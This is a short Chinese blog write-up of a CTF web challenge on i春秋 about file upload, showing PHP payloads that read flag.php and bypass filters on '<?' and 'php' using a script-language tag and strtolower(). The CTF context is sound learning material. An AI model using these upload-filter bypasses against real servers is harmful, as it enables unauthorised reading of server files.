乔悟空-CTF-i春秋-Web-Upload

2020.09.03

ai 做过的题,两天不看就忘了……

做题

题目

题目地址

thinking……

  1. 打开网站

  2. 告诉了文件在flag.php中,所以写个php,把flag.php文件读取出来就行
    盗来的php

<?php 
    $ctx = stream_context_create(array( 
        'http' => array( 
            'timeout' => 1    //设置超时
            ) 
        ) 
    ); 
    echo file_get_contents("flag.php", 0, $ctx); 
?>

这里一开始直接在连接后边访问上传的文件,访问不到……后来发现是上传到/u目录下了……

访问输出:

很明显能看出来这是把php的头给过滤了,然后找到了以下代码来代替

  1. 绕过php<?过滤

代码如下:

<script language='PHP'>
    echo file_get_contents("../flag.".strtolower("PHP")); 
</script>

经过测试,有几点要说:
- 上边我本来把flag.php改成flag.pHp,但是并不能成功,说明文件系统对文件后缀名也是有区分的。
- 文件被上传的路径可以通过表单源码进行查看
- ../就是上一层目录下的文件

  1. 结果

总结

  1. php读取文件的几种方式
    • fread、fgets、fgetss、file、readfile、file_get_contents、fpassthur
    • 详细链接
  2. <?被过滤,用script标签来绕过
  3. php被过滤,用大写来绕过,可以用strtolower()来变成小写
  4. 服务器中文件,后缀名大小写也会有影响
posted @ 2020-09-03 19:35  乔悟空  阅读(306)  评论(0编辑  收藏  举报